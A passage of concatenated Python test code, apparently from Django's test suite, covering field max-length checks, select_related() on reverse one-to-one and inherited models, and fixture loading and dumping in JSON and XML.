from .models import PersonWithCustomMaxLengths, PersonWithDefaultMaxLengths


class MaxLengthArgumentsTests(unittest.TestCase):

    def verify_max_length(self, model, field, length):
        self.assertEqual(model._meta.get_field(field).max_length, length)

    def test_default_max_lengths(self):
        self.verify_max_length(PersonWithDefaultMaxLengths, 'email', 254)
        self.verify_max_length(PersonWithDefaultMaxLengths, 'vcard', 100)
        self.verify_max_length(PersonWithDefaultMaxLengths, 'homepage', 200)
        self.verify_max_length(PersonWithDefaultMaxLengths, 'avatar', 100)

    def test_custom_max_lengths(self):
        self.verify_max_length(PersonWithCustomMaxLengths, 'email', 250)
        self.verify_max_length(PersonWithCustomMaxLengths, 'vcard', 250)
        self.verify_max_length(PersonWithCustomMaxLengths, 'homepage', 250)
        self.verify_max_length(PersonWithCustomMaxLengths, 'avatar', 250)


class MaxLengthORMTests(unittest.TestCase):

    def test_custom_max_lengths(self):
        args = {
            "email": "someone@example.com",
            "vcard": "vcard",
            "homepage": "http://example.com/",
            "avatar": "me.jpg"
        }

        for field in ("email", "vcard", "homepage", "avatar"):
            new_args = args.copy()
            new_args[field] = "X" * 250  # a value longer than any of the default fields could hold.
            p = PersonWithCustomMaxLengths.objects.create(**new_args)
            self.assertEqual(getattr(p, field), ("X" * 250))






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class User(models.Model):
    username = models.CharField(max_length=100)
    email = models.EmailField()

    def __str__(self):
        return self.username


@python_2_unicode_compatible
class UserProfile(models.Model):
    user = models.OneToOneField(User, models.CASCADE)
    city = models.CharField(max_length=100)
    state = models.CharField(max_length=2)

    def __str__(self):
        return "%s, %s" % (self.city, self.state)


@python_2_unicode_compatible
class UserStatResult(models.Model):
    results = models.CharField(max_length=50)

    def __str__(self):
        return 'UserStatResults, results = %s' % (self.results,)


@python_2_unicode_compatible
class UserStat(models.Model):
    user = models.OneToOneField(User, models.CASCADE, primary_key=True)
    posts = models.IntegerField()
    results = models.ForeignKey(UserStatResult, models.CASCADE)

    def __str__(self):
        return 'UserStat, posts = %s' % (self.posts,)


@python_2_unicode_compatible
class StatDetails(models.Model):
    base_stats = models.OneToOneField(UserStat, models.CASCADE)
    comments = models.IntegerField()

    def __str__(self):
        return 'StatDetails, comments = %s' % (self.comments,)


class AdvancedUserStat(UserStat):
    karma = models.IntegerField()


class Image(models.Model):
    name = models.CharField(max_length=100)


class Product(models.Model):
    name = models.CharField(max_length=100)
    image = models.OneToOneField(Image, models.SET_NULL, null=True)


@python_2_unicode_compatible
class Parent1(models.Model):
    name1 = models.CharField(max_length=50)

    def __str__(self):
        return self.name1


@python_2_unicode_compatible
class Parent2(models.Model):
    # Avoid having two "id" fields in the Child1 subclass
    id2 = models.AutoField(primary_key=True)
    name2 = models.CharField(max_length=50)

    def __str__(self):
        return self.name2


@python_2_unicode_compatible
class Child1(Parent1, Parent2):
    value = models.IntegerField()

    def __str__(self):
        return self.name1


@python_2_unicode_compatible
class Child2(Parent1):
    parent2 = models.OneToOneField(Parent2, models.CASCADE)
    value = models.IntegerField()

    def __str__(self):
        return self.name1


class Child3(Child2):
    value3 = models.IntegerField()


class Child4(Child1):
    value4 = models.IntegerField()












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import SimpleTestCase, TestCase

from .models import (
    AdvancedUserStat, Child1, Child2, Child3, Child4, Image, Parent1, Parent2,
    Product, StatDetails, User, UserProfile, UserStat, UserStatResult,
)


class ReverseSelectRelatedTestCase(TestCase):
    def setUp(self):
        user = User.objects.create(username="test")
        UserProfile.objects.create(user=user, state="KS", city="Lawrence")
        results = UserStatResult.objects.create(results='first results')
        userstat = UserStat.objects.create(user=user, posts=150,
                                           results=results)
        StatDetails.objects.create(base_stats=userstat, comments=259)

        user2 = User.objects.create(username="bob")
        results2 = UserStatResult.objects.create(results='moar results')
        advstat = AdvancedUserStat.objects.create(user=user2, posts=200, karma=5,
                                                  results=results2)
        StatDetails.objects.create(base_stats=advstat, comments=250)
        p1 = Parent1(name1="Only Parent1")
        p1.save()
        c1 = Child1(name1="Child1 Parent1", name2="Child1 Parent2", value=1)
        c1.save()
        p2 = Parent2(name2="Child2 Parent2")
        p2.save()
        c2 = Child2(name1="Child2 Parent1", parent2=p2, value=2)
        c2.save()

    def test_basic(self):
        with self.assertNumQueries(1):
            u = User.objects.select_related("userprofile").get(username="test")
            self.assertEqual(u.userprofile.state, "KS")

    def test_follow_next_level(self):
        with self.assertNumQueries(1):
            u = User.objects.select_related("userstat__results").get(username="test")
            self.assertEqual(u.userstat.posts, 150)
            self.assertEqual(u.userstat.results.results, 'first results')

    def test_follow_two(self):
        with self.assertNumQueries(1):
            u = User.objects.select_related("userprofile", "userstat").get(username="test")
            self.assertEqual(u.userprofile.state, "KS")
            self.assertEqual(u.userstat.posts, 150)

    def test_follow_two_next_level(self):
        with self.assertNumQueries(1):
            u = User.objects.select_related("userstat__results", "userstat__statdetails").get(username="test")
            self.assertEqual(u.userstat.results.results, 'first results')
            self.assertEqual(u.userstat.statdetails.comments, 259)

    def test_forward_and_back(self):
        with self.assertNumQueries(1):
            stat = UserStat.objects.select_related("user__userprofile").get(user__username="test")
            self.assertEqual(stat.user.userprofile.state, 'KS')
            self.assertEqual(stat.user.userstat.posts, 150)

    def test_back_and_forward(self):
        with self.assertNumQueries(1):
            u = User.objects.select_related("userstat").get(username="test")
            self.assertEqual(u.userstat.user.username, 'test')

    def test_not_followed_by_default(self):
        with self.assertNumQueries(2):
            u = User.objects.select_related().get(username="test")
            self.assertEqual(u.userstat.posts, 150)

    def test_follow_from_child_class(self):
        with self.assertNumQueries(1):
            stat = AdvancedUserStat.objects.select_related('user', 'statdetails').get(posts=200)
            self.assertEqual(stat.statdetails.comments, 250)
            self.assertEqual(stat.user.username, 'bob')

    def test_follow_inheritance(self):
        with self.assertNumQueries(1):
            stat = UserStat.objects.select_related('user', 'advanceduserstat').get(posts=200)
            self.assertEqual(stat.advanceduserstat.posts, 200)
            self.assertEqual(stat.user.username, 'bob')
        with self.assertNumQueries(1):
            self.assertEqual(stat.advanceduserstat.user.username, 'bob')

    def test_nullable_relation(self):
        im = Image.objects.create(name="imag1")
        p1 = Product.objects.create(name="Django Plushie", image=im)
        p2 = Product.objects.create(name="Talking Django Plushie")

        with self.assertNumQueries(1):
            result = sorted(Product.objects.select_related("image"), key=lambda x: x.name)
            self.assertEqual([p.name for p in result], ["Django Plushie", "Talking Django Plushie"])

            self.assertEqual(p1.image, im)
            # Check for ticket #13839
            self.assertIsNone(p2.image)

    def test_missing_reverse(self):
        """
        Ticket #13839: select_related() should NOT cache None
        for missing objects on a reverse 1-1 relation.
        """
        with self.assertNumQueries(1):
            user = User.objects.select_related('userprofile').get(username='bob')
            with self.assertRaises(UserProfile.DoesNotExist):
                user.userprofile

    def test_nullable_missing_reverse(self):
        """
        Ticket #13839: select_related() should NOT cache None
        for missing objects on a reverse 0-1 relation.
        """
        Image.objects.create(name="imag1")

        with self.assertNumQueries(1):
            image = Image.objects.select_related('product').get()
            with self.assertRaises(Product.DoesNotExist):
                image.product

    def test_parent_only(self):
        with self.assertNumQueries(1):
            p = Parent1.objects.select_related('child1').get(name1="Only Parent1")
        with self.assertNumQueries(0):
            with self.assertRaises(Child1.DoesNotExist):
                p.child1

    def test_multiple_subclass(self):
        with self.assertNumQueries(1):
            p = Parent1.objects.select_related('child1').get(name1="Child1 Parent1")
            self.assertEqual(p.child1.name2, 'Child1 Parent2')

    def test_onetoone_with_subclass(self):
        with self.assertNumQueries(1):
            p = Parent2.objects.select_related('child2').get(name2="Child2 Parent2")
            self.assertEqual(p.child2.name1, 'Child2 Parent1')

    def test_onetoone_with_two_subclasses(self):
        with self.assertNumQueries(1):
            p = Parent2.objects.select_related('child2', "child2__child3").get(name2="Child2 Parent2")
            self.assertEqual(p.child2.name1, 'Child2 Parent1')
            with self.assertRaises(Child3.DoesNotExist):
                p.child2.child3
        p3 = Parent2(name2="Child3 Parent2")
        p3.save()
        c2 = Child3(name1="Child3 Parent1", parent2=p3, value=2, value3=3)
        c2.save()
        with self.assertNumQueries(1):
            p = Parent2.objects.select_related('child2', "child2__child3").get(name2="Child3 Parent2")
            self.assertEqual(p.child2.name1, 'Child3 Parent1')
            self.assertEqual(p.child2.child3.value3, 3)
            self.assertEqual(p.child2.child3.value, p.child2.value)
            self.assertEqual(p.child2.name1, p.child2.child3.name1)

    def test_multiinheritance_two_subclasses(self):
        with self.assertNumQueries(1):
            p = Parent1.objects.select_related('child1', 'child1__child4').get(name1="Child1 Parent1")
            self.assertEqual(p.child1.name2, 'Child1 Parent2')
            self.assertEqual(p.child1.name1, p.name1)
            with self.assertRaises(Child4.DoesNotExist):
                p.child1.child4
        Child4(name1='n1', name2='n2', value=1, value4=4).save()
        with self.assertNumQueries(1):
            p = Parent2.objects.select_related('child1', 'child1__child4').get(name2="n2")
            self.assertEqual(p.name2, 'n2')
            self.assertEqual(p.child1.name1, 'n1')
            self.assertEqual(p.child1.name2, p.name2)
            self.assertEqual(p.child1.value, 1)
            self.assertEqual(p.child1.child4.name1, p.child1.name1)
            self.assertEqual(p.child1.child4.name2, p.child1.name2)
            self.assertEqual(p.child1.child4.value, p.child1.value)
            self.assertEqual(p.child1.child4.value4, 4)

    def test_inheritance_deferred(self):
        c = Child4.objects.create(name1='n1', name2='n2', value=1, value4=4)
        with self.assertNumQueries(1):
            p = Parent2.objects.select_related('child1').only(
                'id2', 'child1__value').get(name2="n2")
            self.assertEqual(p.id2, c.id2)
            self.assertEqual(p.child1.value, 1)
        p = Parent2.objects.select_related('child1').only(
            'id2', 'child1__value').get(name2="n2")
        with self.assertNumQueries(1):
            self.assertEqual(p.name2, 'n2')
        p = Parent2.objects.select_related('child1').only(
            'id2', 'child1__value').get(name2="n2")
        with self.assertNumQueries(1):
            self.assertEqual(p.child1.name2, 'n2')

    def test_inheritance_deferred2(self):
        c = Child4.objects.create(name1='n1', name2='n2', value=1, value4=4)
        qs = Parent2.objects.select_related('child1', 'child1__child4').only(
            'id2', 'child1__value', 'child1__child4__value4')
        with self.assertNumQueries(1):
            p = qs.get(name2="n2")
            self.assertEqual(p.id2, c.id2)
            self.assertEqual(p.child1.value, 1)
            self.assertEqual(p.child1.child4.value4, 4)
            self.assertEqual(p.child1.child4.id2, c.id2)
        p = qs.get(name2="n2")
        with self.assertNumQueries(1):
            self.assertEqual(p.child1.name2, 'n2')
        p = qs.get(name2="n2")
        with self.assertNumQueries(0):
            self.assertEqual(p.child1.name1, 'n1')
            self.assertEqual(p.child1.child4.name1, 'n1')


class ReverseSelectRelatedValidationTests(SimpleTestCase):
    """
    Rverse related fields should be listed in the validation message when an
    invalid field is given in select_related().
    """
    non_relational_error = "Non-relational field given in select_related: '%s'. Choices are: %s"
    invalid_error = "Invalid field name(s) given in select_related: '%s'. Choices are: %s"

    def test_reverse_related_validation(self):
        fields = 'userprofile, userstat'

        with self.assertRaisesMessage(FieldError, self.invalid_error % ('foobar', fields)):
            list(User.objects.select_related('foobar'))

        with self.assertRaisesMessage(FieldError, self.non_relational_error % ('username', fields)):
            list(User.objects.select_related('username'))






"""
Fixtures.

Fixtures are a way of loading data into the database in bulk. Fixure data
can be stored in any serializable format (including JSON and XML). Fixtures
are identified by name, and are stored in either a directory named 'fixtures'
in the application directory, or in one of the directories named in the
``FIXTURE_DIRS`` setting.
"""

import uuid

from django.contrib.auth.models import Permission
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Category(models.Model):
    title = models.CharField(max_length=100)
    description = models.TextField()

    def __str__(self):
        return self.title

    class Meta:
        ordering = ('title',)


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField()

    def __str__(self):
        return self.headline

    class Meta:
        ordering = ('-pub_date', 'headline')


@python_2_unicode_compatible
class Blog(models.Model):
    name = models.CharField(max_length=100)
    featured = models.ForeignKey(Article, models.CASCADE, related_name='fixtures_featured_set')
    articles = models.ManyToManyField(Article, blank=True,
                                      related_name='fixtures_articles_set')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Tag(models.Model):
    name = models.CharField(max_length=100)
    tagged_type = models.ForeignKey(ContentType, models.CASCADE, related_name="fixtures_tag_set")
    tagged_id = models.PositiveIntegerField(default=0)
    tagged = GenericForeignKey(ct_field='tagged_type', fk_field='tagged_id')

    def __str__(self):
        return '<%s: %s> tagged "%s"' % (self.tagged.__class__.__name__,
                                         self.tagged, self.name)


class PersonManager(models.Manager):
    def get_by_natural_key(self, name):
        return self.get(name=name)


@python_2_unicode_compatible
class Person(models.Model):
    objects = PersonManager()
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

    class Meta:
        ordering = ('name',)

    def natural_key(self):
        return (self.name,)


class SpyManager(PersonManager):
    def get_queryset(self):
        return super(SpyManager, self).get_queryset().filter(cover_blown=False)


class Spy(Person):
    objects = SpyManager()
    cover_blown = models.BooleanField(default=False)


class ProxySpy(Spy):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Visa(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)
    permissions = models.ManyToManyField(Permission, blank=True)

    def __str__(self):
        return '%s %s' % (self.person.name,
                          ', '.join(p.name for p in self.permissions.all()))


@python_2_unicode_compatible
class Book(models.Model):
    name = models.CharField(max_length=100)
    authors = models.ManyToManyField(Person)

    def __str__(self):
        authors = ' and '.join(a.name for a in self.authors.all())
        return '%s by %s' % (self.name, authors) if authors else self.name

    class Meta:
        ordering = ('name',)


class PrimaryKeyUUIDModel(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4)












from __future__ import unicode_literals

import os
import sys
import tempfile
import unittest
import warnings

from django.apps import apps
from django.contrib.sites.models import Site
from django.core import management
from django.core.files.temp import NamedTemporaryFile
from django.core.management import CommandError
from django.core.management.commands.dumpdata import ProxyModelWarning
from django.core.serializers.base import ProgressBar
from django.db import IntegrityError, connection
from django.test import (
    TestCase, TransactionTestCase, mock, skipUnlessDBFeature,
)
from django.utils import six
from django.utils.encoding import force_text

from .models import (
    Article, Category, PrimaryKeyUUIDModel, ProxySpy, Spy, Tag, Visa,
)


class TestCaseFixtureLoadingTests(TestCase):
    fixtures = ['fixture1.json', 'fixture2.json']

    def testClassFixtures(self):
        "Check that test case has installed 3 fixture objects"
        self.assertEqual(Article.objects.count(), 3)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker has no place on ESPN>',
        ])


class SubclassTestCaseFixtureLoadingTests(TestCaseFixtureLoadingTests):
    """
    Make sure that subclasses can remove fixtures from parent class (#21089).
    """
    fixtures = []

    def testClassFixtures(self):
        "Check that there were no fixture objects installed"
        self.assertEqual(Article.objects.count(), 0)


class DumpDataAssertMixin(object):

    def _dumpdata_assert(self, args, output, format='json', filename=None,
                         natural_foreign_keys=False, natural_primary_keys=False,
                         use_base_manager=False, exclude_list=[], primary_keys=''):
        new_io = six.StringIO()
        if filename:
            filename = os.path.join(tempfile.gettempdir(), filename)
        management.call_command('dumpdata', *args, **{'format': format,
                                                      'stdout': new_io,
                                                      'stderr': new_io,
                                                      'output': filename,
                                                      'use_natural_foreign_keys': natural_foreign_keys,
                                                      'use_natural_primary_keys': natural_primary_keys,
                                                      'use_base_manager': use_base_manager,
                                                      'exclude': exclude_list,
                                                      'primary_keys': primary_keys})
        if filename:
            with open(filename, "r") as f:
                command_output = f.read()
            os.remove(filename)
        else:
            command_output = new_io.getvalue().strip()
        if format == "json":
            self.assertJSONEqual(command_output, output)
        elif format == "xml":
            self.assertXMLEqual(command_output, output)
        else:
            self.assertEqual(command_output, output)


class FixtureLoadingTests(DumpDataAssertMixin, TestCase):

    def test_loading_and_dumping(self):
        apps.clear_cache()
        Site.objects.all().delete()
        # Load fixture 1. Single JSON file, with two objects.
        management.call_command('loaddata', 'fixture1.json', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Try just dumping the contents of fixtures.Category
        self._dumpdata_assert(
            ['fixtures.Category'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", '
            '"title": "News Stories"}}]'
        )

        # ...and just fixtures.Article
        self._dumpdata_assert(
            ['fixtures.Article'],
            '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
            '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": '
            '"Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # ...and both
        self._dumpdata_assert(
            ['fixtures.Category', 'fixtures.Article'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", '
            '"title": "News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has '
            'no place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", '
            '"fields": {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Specify a specific model twice
        self._dumpdata_assert(
            ['fixtures.Article', 'fixtures.Article'],
            (
                '[{"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place on ESPN", '
                '"pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": {"headline": '
                '"Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
            )
        )

        # Specify a dump that specifies Article both explicitly and implicitly
        self._dumpdata_assert(
            ['fixtures.Article', 'fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Specify a dump that specifies Article both explicitly and implicitly,
        # but lists the app first (#22025).
        self._dumpdata_assert(
            ['fixtures', 'fixtures.Article'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no place '
            'on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Same again, but specify in the reverse order
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker has no '
            'place on ESPN", "pub_date": "2006-06-16T12:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields":'
            ' {"headline": "Time to reform copyright", "pub_date": "2006-06-16T13:00:00"}}]'
        )

        # Specify one model from one application, and an entire other application.
        self._dumpdata_assert(
            ['fixtures.Category', 'sites'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": '
            '"example.com"}}]'
        )

        # Load fixture 2. JSON file imported by default. Overwrites some existing objects
        management.call_command('loaddata', 'fixture2.json', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Load fixture 3, XML format.
        management.call_command('loaddata', 'fixture3.xml', verbosity=0)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # Load fixture 6, JSON file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture6.json', verbosity=0)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged "copyright">',
            '<Tag: <Article: Copyright is fine the way it is> tagged "law">',
        ], ordered=False)

        # Load fixture 7, XML file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture7.xml', verbosity=0)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged "copyright">',
            '<Tag: <Article: Copyright is fine the way it is> tagged "legal">',
            '<Tag: <Article: Django conquers world!> tagged "django">',
            '<Tag: <Article: Django conquers world!> tagged "world domination">',
        ], ordered=False)

        # Load fixture 8, JSON file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture8.json', verbosity=0)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user>',
            '<Visa: Prince >'
        ], ordered=False)

        # Load fixture 9, XML file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture9.xml', verbosity=0)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user, Can delete user>',
            '<Visa: Artist formerly known as "Prince" Can change user>'
        ], ordered=False)

        # object list is unaffected
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # By default, you get raw keys on dumpdata
        self._dumpdata_assert(
            ['fixtures.book'],
            '[{"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [3, 1]}}]'
        )

        # But you can get natural keys if you ask for them and they are available
        self._dumpdata_assert(
            ['fixtures.book'],
            '[{"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [["Artist '
            'formerly known as \\"Prince\\""], ["Django Reinhardt"]]}}]',
            natural_foreign_keys=True
        )

        # You can also omit the primary keys for models that we can get later with natural keys.
        self._dumpdata_assert(
            ['fixtures.person'],
            '[{"fields": {"name": "Django Reinhardt"}, "model": "fixtures.person"}, {"fields": {"name": "Stephane '
            'Grappelli"}, "model": "fixtures.person"}, {"fields": {"name": "Artist formerly known as '
            '\\"Prince\\""}, "model": "fixtures.person"}]',
            natural_primary_keys=True
        )

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(
            ['fixtures'],
            '[{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}, {"pk": 2, "model": "fixtures.article", "fields": {"headline": "Poker on TV is '
            'great!", "pub_date": "2006-06-16T11:00:00"}}, {"pk": 3, "model": "fixtures.article", "fields": '
            '{"headline": "Copyright is fine the way it is", "pub_date": "2006-06-16T14:00:00"}}, {"pk": 4, '
            '"model": "fixtures.article", "fields": {"headline": "Django conquers world!", "pub_date": '
            '"2006-06-16T15:00:00"}}, {"pk": 5, "model": "fixtures.article", "fields": {"headline": "XML '
            'identified as leading cause of cancer", "pub_date": "2006-06-16T16:00:00"}}, {"pk": 1, "model": '
            '"fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": "copyright", "tagged_id": '
            '3}}, {"pk": 2, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", "article"], "name": '
            '"legal", "tagged_id": 3}}, {"pk": 3, "model": "fixtures.tag", "fields": {"tagged_type": ["fixtures", '
            '"article"], "name": "django", "tagged_id": 4}}, {"pk": 4, "model": "fixtures.tag", "fields": '
            '{"tagged_type": ["fixtures", "article"], "name": "world domination", "tagged_id": 4}}, {"pk": 1, '
            '"model": "fixtures.person", "fields": {"name": "Django Reinhardt"}}, {"pk": 2, "model": '
            '"fixtures.person", "fields": {"name": "Stephane Grappelli"}}, {"pk": 3, "model": "fixtures.person", '
            '"fields": {"name": "Artist formerly known as \\"Prince\\""}}, {"pk": 1, "model": "fixtures.visa", '
            '"fields": {"person": ["Django Reinhardt"], "permissions": [["add_user", "auth", "user"], '
            '["change_user", "auth", "user"], ["delete_user", "auth", "user"]]}}, {"pk": 2, "model": '
            '"fixtures.visa", "fields": {"person": ["Stephane Grappelli"], "permissions": [["add_user", "auth", '
            '"user"], ["delete_user", "auth", "user"]]}}, {"pk": 3, "model": "fixtures.visa", "fields": {"person":'
            ' ["Artist formerly known as \\"Prince\\""], "permissions": [["change_user", "auth", "user"]]}}, '
            '{"pk": 1, "model": "fixtures.book", "fields": {"name": "Music for all ages", "authors": [["Artist '
            'formerly known as \\"Prince\\""], ["Django Reinhardt"]]}}]',
            natural_foreign_keys=True
        )

        # Dump the current contents of the database as an XML fixture
        self._dumpdata_assert(
            ['fixtures'],
            '<?xml version="1.0" encoding="utf-8"?><django-objects version="1.0"><object pk="1" '
            'model="fixtures.category"><field type="CharField" name="title">News Stories</field><field '
            'type="TextField" name="description">Latest news stories</field></object><object pk="2" '
            'model="fixtures.article"><field type="CharField" name="headline">Poker on TV is great!</field><field '
            'type="DateTimeField" name="pub_date">2006-06-16T11:00:00</field></object><object pk="3" '
            'model="fixtures.article"><field type="CharField" name="headline">Copyright is fine the way it '
            'is</field><field type="DateTimeField" name="pub_date">2006-06-16T14:00:00</field></object><object '
            'pk="4" model="fixtures.article"><field type="CharField" name="headline">Django conquers world!'
            '</field><field type="DateTimeField" name="pub_date">2006-06-16T15:00:00</field></object><object '
            'pk="5" model="fixtures.article"><field type="CharField" name="headline">XML identified as leading '
            'cause of cancer</field><field type="DateTimeField" name="pub_date">2006-06-16T16:00:00</field>'
            '</object><object pk="1" model="fixtures.tag"><field type="CharField" name="name">copyright</field>'
            '<field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>fixtures'
            '</natural><natural>article</natural></field><field type="PositiveIntegerField" name="tagged_id">3'
            '</field></object><object pk="2" model="fixtures.tag"><field type="CharField" name="name">legal'
            '</field><field to="contenttypes.contenttype" name="tagged_type" rel="ManyToOneRel"><natural>'
            'fixtures</natural><natural>article</natural></field><field type="PositiveIntegerField" '
            'name="tagged_id">3</field></object><object pk="3" model="fixtures.tag"><field type="CharField" '
            'name="name">django</field><field to="contenttypes.contenttype" name="tagged_type" '
            'rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field><field '
            'type="PositiveIntegerField" name="tagged_id">4</field></object><object pk="4" model="fixtures.tag">'
            '<field type="CharField" name="name">world domination</field><field to="contenttypes.contenttype" '
            'name="tagged_type" rel="ManyToOneRel"><natural>fixtures</natural><natural>article</natural></field>'
            '<field type="PositiveIntegerField" name="tagged_id">4</field></object><object pk="1" '
            'model="fixtures.person"><field type="CharField" name="name">Django Reinhardt</field></object>'
            '<object pk="2" model="fixtures.person"><field type="CharField" name="name">Stephane Grappelli'
            '</field></object><object pk="3" model="fixtures.person"><field type="CharField" name="name">'
            'Artist formerly known as "Prince"</field></object><object pk="1" model="fixtures.visa"><field '
            'to="fixtures.person" name="person" rel="ManyToOneRel"><natural>Django Reinhardt</natural></field>'
            '<field to="auth.permission" name="permissions" rel="ManyToManyRel"><object><natural>add_user'
            '</natural><natural>auth</natural><natural>user</natural></object><object><natural>change_user'
            '</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user'
            '</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk="2" '
            'model="fixtures.visa"><field to="fixtures.person" name="person" rel="ManyToOneRel"><natural>Stephane'
            ' Grappelli</natural></field><field to="auth.permission" name="permissions" rel="ManyToManyRel">'
            '<object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object>'
            '<natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field>'
            '</object><object pk="3" model="fixtures.visa"><field to="fixtures.person" name="person" '
            'rel="ManyToOneRel"><natural>Artist formerly known as "Prince"</natural></field><field '
            'to="auth.permission" name="permissions" rel="ManyToManyRel"><object><natural>change_user</natural>'
            '<natural>auth</natural><natural>user</natural></object></field></object><object pk="1" '
            'model="fixtures.book"><field type="CharField" name="name">Music for all ages</field><field '
            'to="fixtures.person" name="authors" rel="ManyToManyRel"><object><natural>Artist formerly known as '
            '"Prince"</natural></object><object><natural>Django Reinhardt</natural></object></field></object>'
            '</django-objects>',
            format='xml', natural_foreign_keys=True
        )

    def test_dumpdata_with_excludes(self):
        # Load fixture1 which has a site, two articles, and a category
        Site.objects.all().delete()
        management.call_command('loaddata', 'fixture1.json', verbosity=0)

        # Excluding fixtures app should only leave sites
        self._dumpdata_assert(
            ['sites', 'fixtures'],
            '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}]',
            exclude_list=['fixtures'])

        # Excluding fixtures.Article/Book should leave fixtures.Category
        self._dumpdata_assert(
            ['sites', 'fixtures'],
            '[{"pk": 1, "model": "sites.site", "fields": {"domain": "example.com", "name": "example.com"}}, '
            '{"pk": 1, "model": "fixtures.category", "fields": {"description": "Latest news stories", "title": '
            '"News Stories"}}]',
            exclude_list=['fixtures.Article', 'fixtures.Book']
        )

        # Excluding fixtures and fixtures.Article/Book should be a no-op
        self._dumpdata_assert(
